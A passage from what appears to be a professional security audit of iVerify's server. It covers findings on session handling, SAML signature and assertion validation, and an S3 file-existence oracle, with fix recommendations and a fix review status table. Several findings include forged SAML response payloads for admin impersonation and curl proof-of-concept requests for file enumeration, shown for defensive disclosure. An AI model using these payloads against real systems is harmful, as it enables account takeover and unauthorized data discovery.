An organization deactivates an administrator through its identity provider, which sends a SCIM DELETE request to iVerify. The MemberTable record is deactivated and devices are unenrolled, but the user's UserTable principal and session remain intact. The deprovisioned administrator continues to access the admin portal with full SUPER_ADMIN privileges through their existing session. Because the session TTL resets on each request, this access persists indefinitely as long as the user remains active. Even after the session eventually expires, the user can reauthenticate (if there is a timing gap between SCIM deletion and identity provider-side deactivation, or if the identity provider allows direct authentication), because the UserTable principal still exists with its original roles.

Recommendations

Short term, add session invalidation and principal cleanup to `ScimService.remove()`:

```

fun remove(orgId: Int, scimMemberId: String): Boolean {
    // ... existing logic ...
    val email = member.email.lowercase()
    sessionStorage.invalidateByEmail(email)
    orgsService.deleteAdmin(orgId, email) // cascade handles group cleanup
    return memberRepository.removeMemberById(orgId, member.id)
}

```

Figure 15.3: Proper session invalidation and principal cleanup in SCIM principal removal

Long term, update the login flows to verify that the underlying principal is still active, not just that a `UserTable` principal exists.

16. Inconsistent session invalidation across admin operations

Severity: Low

Difficulty: Low

Type: Access Controls

Finding ID: TOB-IVERIFY26-16

Target:
server/components/orgs/src/main/kotlin/ivy/orgs/OrgsController.kt

Description

Session invalidation after admin role changes is applied inconsistently. Of the five code paths that modify admin roles or remove admins, only one invalidates the affected user's session:

Endpoint	Modifies DB Roles	Invalidates Session
patchUpdateAdmin (line 620)	Yes	Yes
postDeleteAdmin (line 645)	Yes (deletes principal)	No
updateAdminGroupRoles (line 1344)	Yes (recomputes principal roles)	No
updatePortalUserGroupTypes (1351)	Yes (promotes/demotes members)	No
ScimService/ScimController	Yes	No

The patchUpdateAdmin function correctly calls `sessionStorage.invalidateByEmail(request.email)` at line 620. The other four paths do not.

The postDeleteAdmin function (lines 645–673) deletes the `UserTable` principal and expires API tokens, but does not invalidate sessions (figure 16.1).

```
val postDeleteAdmin: ControllerRoute = {  
    // ...  
    orgsService.deleteAdmin(session.orgId, request.email)  
    runCatching {  
        apiTokenRepository.expireTokensForUserEmail(request.email, session.orgId)  
    }  
    // No sessionStorage.invalidateByEmail() call  
    call.respond(HttpStatusCode.OK)  
}
```

Figure 16.1: API tokens are expired but the user's session is not invalidated.
([iVerify/server/components/orgs/src/main/kotlin/ivy/orgs/OrgsController.kt#L645-L673](#))

The `updateAdminGroupRoles` function (lines 1344–1349) updates `UserGroupsTable.roles` and recomputes each member's `UserTable.roles` via `recomputeRolesForPrincipal()` ([PostgresOrgsRepository.kt#L1185](#)), but does not invalidate sessions.

The `updatePortalUserGroupTypes` function (lines 1351–1361) handles group type changes. When a group is changed from ADMIN to USER, `demoteGroupAdmins()` ([PostgresOrgsRepository.kt#L1687](#)) downgrades or deletes affected principals in the database, but no session invalidation occurs in the caller.

Sessions reset their TTL on every request ([PostgresSessionStorage.kt#L130](#)), so stale sessions with revoked roles persist indefinitely with active use.

Exploit Scenario

An organization removes an administrator via `postDeleteAdmin`. The administrator's `UserTable` principal is deleted and API tokens are expired, but their active session remains valid. The former administrator continues to access the admin portal with their previous role level. Because the session TTL resets on each request, the stale session persists as long as the user remains active. This finding amplifies other access control findings: for example, when this finding is combined with [TOB-IVERIFY26-15](#), a SCIM-deprovisioned admin can retain access through both an unrevoked principal and an uninvalidated session.

Recommendations

Short term, add `sessionStorage.invalidateByEmail()` to `postDeleteAdmin`. Update `updateAdminGroupRoles` and `updatePortalUserGroupTypes` to invalidate sessions for affected group members (either via `invalidateByOrg()` or by iterating over `UserGroupAdminMembersTable` to collect affected emails). SCIM session invalidation is addressed in [TOB-IVERIFY26-15](#).

Long term, centralize session invalidation logic so that any code path that modifies a user's roles or removes a principal also invalidates the corresponding session, preventing future inconsistencies as new admin operations are added.

17. Encrypted SAML assertions bypass signature validation

Severity: High

Difficulty: Low

Type: Authentication

Finding ID: TOB-IVERIFY26-17

Target:

`iverify/server/components/orgs/src/main/kotlin/ivy/saml/SamlVerificationHelper.kt`

Description

The SAML authentication implementation does not require signatures on encrypted assertions, allowing an attacker to forge authentication responses and log in as any user. SAML encrypted assertions protect sensitive user data in transit because only the service provider can decrypt them using its private key. However, encryption provides confidentiality, not authenticity. The service provider's public encryption certificate is available in the service provider metadata, allowing anyone to encrypt data that iVerify can successfully decrypt.

The signature on an assertion proves that the identity provider actually created it. As shown in figure 17.1, the `verifySamLSignature` function uses Kotlin's `?.let` operator to validate signatures, which silently does nothing when the signature is `null` instead of rejecting the response. When processing encrypted assertions, the code decrypts the assertion first and then calls `verifySamLSignature` with `encrypted` set to `true`. If the decrypted assertion lacks a signature, the `?.let` operator causes the validation to be skipped entirely. The subsequent check for unsigned responses explicitly excludes encrypted assertions by gating the check with `!encrypted`, allowing encrypted assertions without signatures to pass all validation checks.

```
// Validate encrypted assertion signatures, else validate normal signature
if (encrypted && assertion != null) {
    assertion.signature?.let { validateWithAnyCert(it) }
} else {
    response.signature?.let { validateWithAnyCert(it) }
}

// If nothing is signed reject as insecure
if (!encrypted && response.signature == null && response.assertions.none {
    it.signature != null }
) {
    throw RuntimeException("No SAML signature present.")
}
```

*Figure 17.1: Signature validation logic that skips unsigned encrypted assertions
([iverify/server/components/orgs/src/main/kotlin/ivy/saml/SamlVerificationHelper.kt#L52-L63](#))*

Figure 17.2 shows an example payload.

```
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">
  <saml:Issuer xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
    https://idp.target-org.com
  </saml:Issuer>
  <samlp:Status>
    <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
  </samlp:Status>
  <saml:EncryptedAssertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
    <xenc:EncryptedData xmlns:xenc="http://www.w3.org/2001/04/xmlenc#">
      <!-- Assertion encrypted with SP's public key, containing: -->
      <!-- NameID: admin@target-org.com -->
      <!-- No Signature element present -->
    </xenc:EncryptedData>
  </saml:EncryptedAssertion>
</samlp:Response>
```

Figure 17.2: Malicious SAML response with unsigned encrypted assertion

Exploit Scenario

An attacker targeting an organization using SAML SSO with iVerify obtains the service provider's public encryption certificate from the SAML metadata endpoint. They craft a SAML response containing an encrypted assertion with the NameID set to an administrator's email address (e.g., admin@target-org.com) but include no signature. Using the service provider's public key, they encrypt this forged assertion and submit the SAML response to the ACS endpoint at /api/v1/saml-sso/acs/{tenant}. The server decrypts the assertion successfully, skips signature validation because no signature is present, and creates a valid session for the attacker as the administrator.

Recommendations

Short term, modify the verifySamlSignature function to require a valid signature when processing encrypted assertions. Replace the optional ?.let call with explicit null checks that throw an exception when signatures are missing. This will ensure that all encrypted assertions are cryptographically verified before the system trusts their contents.

Long term, consider adopting a well-established SAML library that handles signature validation comprehensively, such as the full OpenSAML security module or a dedicated SAML service provider library. Additionally, implement integration tests that verify the rejection of malformed SAML responses, including responses with unsigned assertions, invalid signatures, and assertion injection attempts. This will prevent similar authentication bypass vulnerabilities from being introduced in future changes to the SAML handling code.

18. SAML assertion signatures are checked for presence but never cryptographically validated

Severity: High

Difficulty: Low

Type: Authentication

Finding ID: TOB-IVERIFY26-18

Target:

`iverify/server/components/orgs/src/main/kotlin/ivy/saml/SamlVerificationHelper.kt`

Description

The SAML response validation in `SamlVerificationHelper` contains a logic flaw that allows authentication bypass. When processing unencrypted SAML assertions, the code checks whether an assertion-level signature element exists but never cryptographically validates it. This allows an attacker to craft a SAML response with an unsigned malicious assertion that passes all validation checks.

The `parseSamlResponse` function processes unencrypted assertions by calling `verifySamlSignature` and then extracting attributes from the first assertion in the response (figure 18.1).

```
if (response.assertions.firstOrNull() != null) {  
    verifySamlSignature(response, idpSigningCertificates, false)  
    val unencryptedAssertion = response.assertions.firstOrNull()  
    if (unencryptedAssertion != null) return extractAttributes(unencryptedAssertion)  
}
```

Figure 18.1: Unencrypted assertion processing

(iverify/server/components/orgs/src/main/kotlin/ivy/saml/SamlVerificationHelper.kt#L88-L92)

The `verifySamlSignature` function contains the flawed validation logic. When the `encrypted` parameter is `false`, the function only attempts to validate the response-level signature using a null-safe call (figure 18.2).

```
if (encrypted && assertion != null) {  
    assertion.signature?.let { validateWithAnyCert(it) }  
} else {  
    response.signature?.let { validateWithAnyCert(it) }  
}  
  
if (!encrypted && response.signature == null && response.assertions.none {  
    it.signature != null }  
}
```

```

) {
    throw RuntimeException("No SAML signature present.")
}

```

Figure 18.2: Signature validation logic with missing assertion signature verification (iVerify/server/components/orgs/src/main/kotlin/ivy/saml/SamlVerificationHelper.kt#L52-L63)

When `response.signature` is `null`, the `?.let` block does nothing. The subsequent check only verifies that at least one assertion contains a signature element (`it.signature != null`), but that signature is never passed to `validateWithAnyCert`. An attacker can send a single assertion containing arbitrary identity claims along with a fabricated signature element, as in figure 18.3. The signature element satisfies the existence check, but its cryptographic validity is never verified.

```

<samlp:Response>
  <!-- No response-level Signature element -->
  <saml:Assertion>
    <!-- Fabricated Signature passes existence check, never validated -->
    <ds:Signature>
      <ds:SignatureValue>INVALID_VALUE_NEVER_CHECKED</ds:SignatureValue>
    </ds:Signature>
    <saml:Subject>
      <saml:NameID>admin@victim-org.com</saml:NameID>
    </saml:Subject>
  </saml:Assertion>
</samlp:Response>

```

Figure 18.3: Malicious SAML response structure with fabricated assertion signature

Exploit Scenario

An attacker targets an organization using SAML SSO authentication. They craft a SAML response with no response-level signature, containing a single assertion with arbitrary identity claims (such as `nameId` set to `admin@victim-org.com`) and a fabricated signature element with invalid values. The attacker submits this response to the `/api/v1/saml-ssso/acs/{tenant}` endpoint. The validation passes because a signature element exists, but its cryptographic validity is never checked. The attacker gains authenticated access as the victim user, potentially with administrative privileges.

Recommendations

Short term, modify the `verifySamlSignature` function to cryptographically validate assertion-level signatures when no response-level signature is present. When `response.signature` is `null`, the function should iterate through the assertions, locate those with signatures, validate each signature using `validateWithAnyCert`, and verify that the assertion from which attributes are extracted has a valid signature. This will ensure that only cryptographically verified assertions are trusted.

Long term, consider adopting a well-established SAML library that handles signature validation comprehensively, such as the full OpenSAML security module or a dedicated SAML service provider library. Additionally, implement integration tests that verify the rejection of malformed SAML responses, including responses with unsigned assertions, invalid signatures, and assertion injection attempts. This will prevent similar authentication bypass vulnerabilities from being introduced in future changes to the SAML handling code.

19. SAML signature validation does not verify that signatures reference their parent elements

Severity: High

Difficulty: Medium

Type: Authentication

Finding ID: TOB-IVERIFY26-19

Target:
`iverify/server/components/orgs/src/main/kotlin/ivy/saml/SamlVerificationHelper.kt`

Description

The SAML signature validation in `SamlVerificationHelper` uses OpenSAML's `SignatureValidator.validate()` to cryptographically verify signatures, but does not use `SAMLSignatureProfileValidator` to verify that signatures actually reference their parent elements. This omission enables XSW attacks, in which an attacker can use a valid signature over one element to bypass validation of a different, attacker-controlled element.

The `SignatureValidator.validate()` method verifies that the cryptographic signature is valid and that the digest values match the referenced content (figure 19.1).

```
fun validateWithAnyCert(signature: org.opensaml.xmlsec.signature.Signature) {  
    val lastError = mutableListOf<Exception>()  
  
    for (cred in validators) {  
        try {  
            SignatureValidator.validate(signature, cred)  
            return // success  
        } catch (e: Exception) {  
            lastError.add(e)  
        }  
    }  
  
    throw RuntimeException("Invalid SAML signature with all known IdP signing  
certs", lastError.last())  
}
```

Figure 19.1: Signature validation without profile verification

(`iverify/server/components/orgs/src/main/kotlin/ivy/saml/SamlVerificationHelper.kt#L37-L50`)

However, it does not verify that the signature's Reference URI points to its parent element. An XML signature's Reference element contains a URI attribute specifying which element is signed. Without profile validation, the following attack is possible:

```

<Response>
  <Assertion ID="_malicious">
    <Subject><NameID>admin@victim.com</NameID></Subject>
    <Signature>
      <SignedInfo>
        <Reference URI="#_legitimate"> <!-- References a different element -->
          <DigestValue>...</DigestValue>
        </Reference>
      </SignedInfo>
      <SignatureValue>valid-signature</SignatureValue>
    </Signature>
  </Assertion>
  <Assertion ID="_legitimate">
    <!-- Original signed assertion from a legitimate response -->
  </Assertion>
</Response>

```

Figure 19.2: XSW attack structure

In this structure, the signature embedded in the malicious assertion is cryptographically valid because it references and correctly signs `_legitimate`. However, the code extracts attributes from the first assertion (`_malicious`), which contains attacker-controlled claims.

OpenSAML provides `SAMLSignatureProfileValidator` specifically to prevent this class of attacks by enforcing SAML signature requirements: the signature must reference its parent element, only one reference is allowed, and the reference URI must match the parent's ID attribute.

Exploit Scenario

An attacker intercepts or obtains a legitimate SAML response containing a validly signed assertion from the target identity provider. They construct a new SAML response containing two assertions. The first assertion contains arbitrary identity claims, and its signature element references the second assertion. The second assertion is the original legitimate assertion. When the application processes this response, `SignatureValidator.validate()` succeeds because the signature cryptographically validates against the legitimate assertion. The application then extracts the `nameId` from the first assertion, granting the attacker access as any user in the organization.

Recommendations

Short term, add `SAMLSignatureProfileValidator` validation before cryptographic signature validation. For each signature being validated, call `SAMLSignatureProfileValidator().validate(signature)` to ensure the signature references its parent element. This will prevent attacks in which signatures from one element are used to validate a different element.

Long term, consider adopting a well-established SAML library that handles signature validation comprehensively, such as the full OpenSAML security module or a dedicated

SAML service provider library. Additionally, implement integration tests that verify the rejection of malformed SAML responses, including responses with unsigned assertions, invalid signatures, and assertion injection attempts. This will prevent similar authentication bypass vulnerabilities from being introduced in future changes to the SAML handling code.

20. SAML response and assertion attributes are not validated

Severity: High

Difficulty: Low

Type: Authentication

Finding ID: TOB-IVERIFY26-20

Target:

iverify/server/components/orgs/src/main/kotlin/ivy/saml/SamlVerificationHelper.kt,
iverify/server/components/orgs/src/main/kotlin/ivy/saml/SamlController.kt

Description

The SAML response validation in `SamlVerificationHelper` and `SamlController` does not validate most attributes required by the SAML 2.0 specification. After unmarshalling the SAML response and verifying signatures, the code extracts user attributes without checking the response status, destination, issuer, temporal conditions, audience restrictions, or subject confirmation data. This allows an attacker to craft or replay SAML responses that bypass authentication controls.

The `parseSamlResponse` function unmarshalls the SAML response and immediately proceeds to extract attributes without validating response-level attributes (figure 20.1).

```
val response = unmarshaller.unmarshall(root) as Response

// If assertions not encrypted- verify signature before handling assertions
if (response.assertions.firstOrNull() != null) {
    verifySamlSignature(response, idpSigningCertificates, false)
    val unencryptedAssertion = response.assertions.firstOrNull()
    if (unencryptedAssertion != null) return extractAttributes(unencryptedAssertion)
}
```

Figure 20.1: Response processing without attribute validation

(`iverify/server/components/orgs/src/main/kotlin/ivy/saml/SamlVerificationHelper.kt#L85-L92`)

The `extractAttributes` function extracts user identity information without validating the assertion's conditions or subject confirmation (figure 20.2).

```
fun extractAttributes(assertion: Assertion): Map<String, Any?> {
    val result = mutableMapOf<String, Any?>()

    val nameId = assertion.subject?.nameID?.value
    result["nameId"] = nameId
}
```

```

result["issuer"] = assertion.issuer?.value
result["authnInstant"] = assertion.authnStatements.firstOrNull()?.authnInstant

val attrs = mutableMapOf<String, Any?>()
assertion.attributeStatements.forEach { stmt ->
    stmt.attributes.forEach { attr ->
        val name = attr.name
        val values = attr.attributeValues.map { it.dom?.textContent }

        attrs[name] = when {
            values.size == 1 -> values[0]
            else -> values
        }
    }
}

result["attributes"] = attrs
return result
}

```

Figure 20.2: Attribute extraction without validation

(*iverify/server/components/orgs/src/main/kotlin/ivy/saml/SamlVerificationHelper.kt#L119–L143*)

The following validations are missing.

Response-level validations:

- **Status:** The code does not verify that the response status is `urn:oasis:names:tc:SAML:2.0:status:Success`. A response indicating authentication failure would still be processed.
- **Destination:** The Destination attribute is not compared against the service provider's ACS URL. An attacker who intercepts a response intended for one endpoint can replay it to a different endpoint.
- **InResponseTo:** The InResponseTo attribute is not validated against the original AuthnRequest ID. The request ID is generated but never stored for later verification, as shown in figure 20.3.

```

fun buildAuthRequest(samlConfig: SamlClientConfig): AuthnRequest {
    val authnRequest = AuthnRequestBuilder().buildObject().apply {
        id = "_" + UUID.randomUUID()
        version = SAMLVersion.VERSION_20
        issueInstant = Instant.now()
        // ... ID is never stored for later validation
    }
    return authnRequest
}

```

Figure 20.3: AuthnRequest ID generated but not stored
([iverify/server/components/orgs/src/main/kotlin/ivy/saml/SamlService.kt#L31-L44](#))

Assertion-level validations:

- **Issuer:** The issuer is extracted but never compared against the expected identity provider entity ID stored in the SAML configuration. An assertion from a different identity provider could be accepted.
- **Conditions/NotBefore/NotOnOrAfter:** The temporal validity window is not checked. Expired assertions or assertions not yet valid are accepted.
- **AudienceRestriction:** The code does not verify that the service provider's entity ID is listed in the audience. An assertion issued for a different service provider can be replayed.
- **SubjectConfirmation:** The Recipient, NotOnOrAfter, and InResponseTo attributes within SubjectConfirmationData are not validated.
- **AuthnStatement:** The presence of an AuthnStatement is not verified, and SessionNotOnOrAfter and AuthnContext are not validated. The service provider cannot enforce authentication strength requirements.

Exploit Scenario

An attacker targets an organization using SAML SSO. They capture a legitimate SAML response through network interception, browser history, or server logs. Even after the response's intended validity period expires, the attacker submits the captured response to the `/api/v1/saml-sso/acs/{tenant}` endpoint. Because the service provider does not validate temporal conditions (NotOnOrAfter), does not check the Destination attribute, and does not track previously used response IDs, the replay succeeds. The attacker authenticates as the victim user and gains access to the organization's portal.

Recommendations

Short term, implement validation for all required SAML response and assertion attributes before user identity information is extracted. This will prevent attackers from using expired, replayed, or misdirected SAML responses.

Long term, consider adopting a well-established SAML library that handles signature validation comprehensively, such as the full OpenSAML security module or a dedicated SAML service provider library. Additionally, implement integration tests that verify the rejection of malformed SAML responses, including responses with unsigned assertions, invalid signatures, and assertion injection attempts. This will prevent similar authentication bypass vulnerabilities from being introduced in future changes to the SAML handling code.

References

- [OWASP SAML Security Cheat Sheet](#)
- [SAML 2.0 Core Specification: Section 3.4 \(Conditions\)](#)
- [SAML 2.0 Profiles Specification: Section 4.1.4 \(Processing Rules\)](#)

21. File validation endpoint enables S3 file enumeration oracle

Severity: Low

Difficulty: Medium

Type: Access Controls

Finding ID: TOB-IVERIFY26-21

Target:

```
iverify/server/components/orgs/src/main/kotlin/ivy/sysdiagnoseUpload/TelemetryUploadController.kt,  
iverify/server/components/orgs/src/main/kotlin/ivy/sysdiagnoseUpload/TelemetryUploadService.kt
```

Description

The file validation endpoint accepts arbitrary `objectKey` values from clients without verifying that the requesting device owns the specified object. This creates a Boolean oracle that reveals file existence across the S3 bucket namespace. This works for both consumer and organization devices, while in the organization type any valid `memberId` suffices for cross-organization enumeration.

Object ownership is not checked in the endpoint (figure 21.1).

```
val objectKey = request.objectKey  
val uploadRegion = OrganizationDataRegion.EU_CENTRAL_1.region  
  
val fileName = objectKey.substringAfterLast("/")  
val path = objectKey.substringBeforeLast("/")  
  
if (telemetryUploadService.doesFileExist(path, fileName, UploadType.CONSUMER,  
uploadRegion)) {  
    logger.info("validateFileInS3ForConsumer $objectKey")  
    return@post call.respond(HttpStatusCode.OK, "File exists in S3")  
} else {  
    return@post call.respond(HttpStatusCode.NotFound, "File not found")  
}
```

Figure 21.1: Missing objectKey ownership validation enables enumeration (iverify/server/components/orgs/src/main/kotlin/ivy/sysdiagnoseUpload/TelemetryUploadController.kt#L202-L213)

The endpoint returns HTTP 200 when files exist and HTTP 404 when files are missing, creating a Boolean oracle. An attacker can systematically probe S3 storage by constructing object keys following the pattern `{orgId}/ios/{deviceId}/{scanId}/{fileName}` and querying the validation endpoint. The endpoint has no rate limiting, enabling high-speed enumeration of the entire organizational namespace. The `scanId` is a random

UUID, but the function `doesFileExist` reads all files with a certain prefix and matches if a file ends with what comes after the last `/` in the request (figure 21.2).

```
val listObjectsRequest = ListObjectsV2Request {
    bucket = s3Bucket
    this.prefix = prefixKey
}
val response = s3.listObjectsV2(listObjectsRequest)
return response.contents?.any { it.key?.endsWith("/$fileName") == true } ?:
false
```

Figure 21.2: The `doesFileExist` function

([iVerify/server/components/orgs/src/main/kotlin/ivy/sysdiagnoseUpload/TelemetryUploadService.kt#L268-L285](#))

Exploit Scenario

An attacker constructs a script that sends validation requests. For each request with an object key, the endpoint responds with HTTP 200 if the file exists or HTTP 404 if the file is missing. An attacker maps which devices in multiple organizations have uploaded forensic data. The attacker can start with a short path as `objectKey` to include all files in the bucket.

The proof of concept in figure 21.3 demonstrates the Boolean oracle behavior.

```
# Probe for victim device's file using attacker's device credentials
curl -X POST https://api.example.com/forensic-scan/validate-file-upload \
-H "Content-Type: application/json" \
-d '{
    "deviceIdentifier": "attacker-device-id",
    "objectKey": "123/ios/sysdiagnose_2024.01.15.tar.gz"
}'

# Response: HTTP 200 OK {"message": "File exists in S3"}
# indicates victim device uploaded this file

# Probe for non-existent file
curl -X POST https://api.example.com/forensic-scan/validate-file-upload \
-H "Content-Type: application/json" \
-d '{
    "deviceIdentifier": "attacker-device-id",
    "objectKey": "123/ios/test.tar.gz"
}'

# Response: HTTP 404 Not Found {"message": "File not found"}
# indicates file does not exist
```

Figure 21.3: Proof of concept showing cross-device file enumeration via Boolean oracle

Recommendations

Short term, have the associated code parse the `objectKey` parameter to extract the embedded organization ID and device identifier, and then verify that they match the requesting device's organization and identifier before checking for file existence. Reject requests where the `objectKey` references a different device or organization with HTTP 403 Forbidden. Implement rate limiting on the validation endpoint using the IP address and device identifier as composite keys to prevent high-speed enumeration. This will immediately restrict file existence queries to only the requesting device's own storage namespace.

Long term, remove the file validation endpoint entirely and instruct clients to determine upload success from the S3 PUT response codes, which already indicate whether uploads succeeded.

References

- [AWS ListObjectsV2 API reference](#)

A. Vulnerability Categories

The following tables describe the vulnerability categories, severity levels, and difficulty levels used in this document.

Vulnerability Categories	
Category	Description
Access Controls	Insufficient authorization or assessment of rights
Auditing and Logging	Insufficient auditing of actions or logging of problems
Authentication	Improper identification of users
Configuration	Misconfigured servers, devices, or software components
Cryptography	A breach of system confidentiality or integrity
Data Exposure	Exposure of sensitive information
Data Validation	Improper reliance on the structure or values of data
Denial of Service	A system failure with an availability impact
Error Reporting	Insecure or insufficient reporting of error conditions
Patching	Use of an outdated software package or library
Session Management	Improper identification of authenticated users
Testing	Insufficient test methodology or test coverage
Timing	Race conditions or other order-of-operations flaws
Undefined Behavior	Undefined behavior triggered within the system

Severity Levels	
Severity	Description
Informational	The issue does not pose an immediate risk but is relevant to security best practices.
Undetermined	The extent of the risk was not determined during this engagement.
Low	The risk is small or is not one the client has indicated is important.
Medium	User information is at risk; exploitation could pose reputational, legal, or moderate financial risks.
High	The flaw could affect numerous users and have serious reputational, legal, or financial implications.

Difficulty Levels	
Difficulty	Description
Undetermined	The difficulty of exploitation was not determined during this engagement.
Low	The flaw is well known; public tools for its exploitation exist or can be scripted.
Medium	An attacker must write an exploit or will need in-depth knowledge of the system.
High	An attacker must have privileged access to the system, may need to know complex technical details, or must discover other weaknesses to exploit this issue.

B. Code Quality

This appendix contains findings that do not have immediate or obvious security implications. However, addressing them may enhance the code's readability and may prevent the introduction of vulnerabilities in the future.

- **Duplicate check.** The `isOrgAdmin` variable is set to the OR condition where both branches have the same value.

```
val isOrgAdmin =  
    userRepo.userWithEmailAndOrg(extractedUserInfo["nameId"].toString(),  
    orgInformation.id)?.id != null ||  
  
    userRepo.userWithEmailAndOrg(extractedUserInfo["nameId"].toString(),  
    orgInformation.id)?.id != null
```

Figure B.1: Duplicate isOrgAdmin check

([iVerify/server/components/orgs/src/main/kotlin/ivy/saml/SamlController.kt#L97-L98](#))

C. Fix Review Results

When undertaking a fix review, Trail of Bits reviews the fixes implemented for issues identified in the original report. This work involves a review of specific areas of the source code and system configuration, not comprehensive analysis of the system.

On March 27, 2026 and May 27, 2026, Trail of Bits reviewed the fixes and mitigations implemented by the iVerify team for the issues identified in this report. We reviewed each fix to determine its effectiveness in resolving the associated issue.

In summary, of the 21 issues described in this report, iVerify has resolved 16 issues, has partially resolved one issue, and has not resolved the remaining four issues. For additional information, please see the Detailed Fix Review Results below.

ID	Title	Severity	Status
1	HTML injection in PDF generation enables SSRF and local file disclosure	High	Resolved
2	Unauthenticated HTTP endpoints expose scan data and report generation	High	Resolved
3	SQL injection vulnerability via unparameterized ClickHouse queries	High	Resolved
4	NoSQL injection vulnerability in report generation endpoint allows unauthorized access to scan data	High	Resolved
5	Outdated WebKit engine in wkhtmltopdf enables remote code execution	High	Resolved
6	Cryptographic secrets logged in decryption helper	Medium	Resolved
7	Hard-coded secrets and credentials in source code	High	Resolved
8	Unsafe tarfile extraction enables file write via path traversal attacks	High	Resolved

9	Server does not validate JWT signatures on OAuth ID tokens	Informational	Unresolved
10	Remote code execution vulnerability due to use of eval() in sysdiagnose parsing	High	Resolved
11	Overprivileged Lambda IAM roles	Medium	Resolved
12	XXE injection in server SAML processing	High	Resolved
13	Archive extraction vulnerable to decompression bombs causing denial of service	Medium	Resolved
14	SCIM admin provisioning hard codes super admin role for new users	Medium	Unresolved
15	SCIM user deprovisioning does not revoke admin principal or sessions	Medium	Resolved
16	Inconsistent session invalidation across admin operations	Low	Unresolved
17	Encrypted SAML assertions bypass signature validation	High	Resolved
18	SAML assertion signatures are checked for presence but never cryptographically validated	High	Resolved
19	SAML signature validation does not verify that signatures reference their parent elements	High	Resolved
20	SAML response and assertion attributes are not validated	High	Resolved
21	File validation endpoint enables S3 file enumeration oracle	Low	Unresolved

Detailed Fix Review Results

TOB-IVERIFY26-1: HTML injection in PDF generation enables SSRF and local file disclosure

Resolved in [PR #420](#). The fix applies `html.escape()` to all user-controlled data interpolated into HTML templates, removes the `--enable-local-file-access` flag from `wkhtmltopdf` options, and replaces `local file://` image references with Base64-encoded data URLs. This three-pronged approach eliminates both the HTML injection vector and the ability to access local files or make SSRF requests through the PDF renderer.

TOB-IVERIFY26-2: Unauthenticated HTTP endpoints expose scan data and report generation

Resolved in [PR #459](#). The `/api` endpoint and its handler were removed entirely. The `/generate_report` endpoint now requires an API key via the `x-api-key` header, validated using constant-time comparison (`hmac.compare_digest`). The API key is stored in AWS SSM Parameter Store and retrieved at runtime.

TOB-IVERIFY26-3: SQL injection vulnerability via unparameterized ClickHouse queries

Resolved in [PR #420](#). All ClickHouse queries across `clickhouse_service.py`, `vt_analysis_results_service.py`, `mb_analysis_results_service.py`, and `whitelist_uuids_helper.py` were converted from f-string interpolation to parameterized queries using the ClickHouse client's native parameter binding. Variable-length IN clauses use individually keyed parameters.

TOB-IVERIFY26-4: NoSQL injection vulnerability in report generation endpoint allows unauthorized access to scan data

Resolved in [PR #420](#). Type checks (`isinstance(x, str)`) were added to validate that `scanId` and `orgId` are strings before they are passed to MongoDB queries in both `handler.py` and `background_worker.py`. This prevents NoSQL operator injection via non-string types.

TOB-IVERIFY26-5: Outdated WebKit engine in wkhtmltopdf enables remote code execution

Resolved in [ToB-05](#) branch. The `wkhtmltopdf` was replaced with the `WeasyPrint`.

TOB-IVERIFY26-6: Cryptographic secrets logged in decryption helper

Resolved in [PR #420](#). All three instances of cryptographic material being logged or printed in the decryption helper were replaced with generic success messages that confirm the operation succeeded without exposing key material.

TOB-IVERIFY26-7: Hard-coded secrets and credentials in source code

Resolved in [PR #420](#) and [PR #6043](#). iVerify confirmed that production credentials are no longer in use - they lack production scopes and are deactivated. The client retained Slack webhooks, which is acceptable as they are considered low-risk items.

For testing/development credentials, iVerify provided the following context on this finding's fix status:

Review Status: Accepted Risk. Secrets used for local development only are in the codebase - these are not secrets from any deployed environment.

TOB-IVERIFY26-8: Unsafe tarfile extraction enables file write via path traversal attacks

Resolved in [PR #420](#). New validation functions (`validate_tar_members` and `validate_zip_members`) check each archive member for absolute paths, path traversal sequences, symlinks, hardlinks, and control characters. The resolved extraction path is verified to remain within the target directory using `os.path.realpath()`. These checks are applied at all extraction points in `file_helper.py`, `SysdAdditionalFileExtractor.py`, and `android_bugreport/initialize.py`. The validation is performed before extraction and rejects archives containing malicious members; however, `extractall()` is called without passing the validated members list or a `filter` parameter. The PR also upgrades to Python 3.14, where `extractall()` defaults to `filter='data'`, which natively strips symlinks and prevents path traversal as an additional layer of defense.

TOB-IVERIFY26-9: Server does not validate JWT signatures on OAuth ID tokens

Unresolved. No fix was submitted for this finding.

The client provided the following context for this finding's fix status:

Review Status: Accepted Risk.

TOB-IVERIFY26-10: Remote code execution vulnerability due to use of eval() in sysdiagnose parsing

Resolved in [PR #420](#). The `eval()` call in `parsing.py` was replaced with `getattr()` to safely obtain function references by name followed by direct invocation. The `analyse.py` module containing a second `eval()` call was deleted entirely along with its associated analyzer modules.

TOB-IVERIFY26-11: Overprivileged Lambda IAM roles

Resolved in [PR #420](#). IAM permissions were scoped to least privilege: SSM access was restricted to the specific database URI parameter, a wildcard Secrets Manager block was removed, DynamoDB access was reduced to `PutItem` on the specific table ARN, and IAM `PassRole` and `ECS RunTask` permissions were scoped to specific resource ARNs.

TOB-IVERIFY26-12: XXE injection in server SAML processing

Resolved in [PR #5937](#). A centralized `DocumentHelper` utility was created that configures `DocumentBuilderFactory` with all recommended XXE protections: `disallow-doctype-decl` set to true, external general and parameter entities disabled,

external DTD loading disabled, XIncludeAware set to false, and expandEntityReferences set to false. All three XML parsing call sites in SamlVerificationHelper.kt and CertificateAndKeyHelperService.kt were updated to use this utility.

TOB-IVERIFY26-13: Archive extraction vulnerable to decompression bombs causing denial of service

Resolved in [PR #420](#). File count limits (50,000 files) and total size limits (4 GB) are now enforced during archive validation for both tar and zip formats at all extraction points in file_helper.py, SysdAdditionalFileExtractor.py, and android_bugreport/initialize.py. The file count check is based on actual archive member count and provides effective protection. The size check relies on header-declared sizes (member.size for tar, info.file_size for zip), which a deliberately malicious archive could falsify; however, the Lambda environment's 5 GB ephemeral storage limit provides a hard backstop that caps the practical impact of a decompression bomb on any single invocation.

TOB-IVERIFY26-14: SCIM admin provisioning hard codes super admin role for new users

Unresolved, with the risk accepted by the client. The client provided the following context for this finding's fix status:

Review Status: Informational/Intended Platform Behavior. The identified behavior relating to SCIM user provisioning assigning a Super Admin role is currently intentional platform behavior and operates as designed within the existing provisioning workflow.

TOB-IVERIFY26-15: SCIM user deprovisioning does not revoke admin principal or sessions

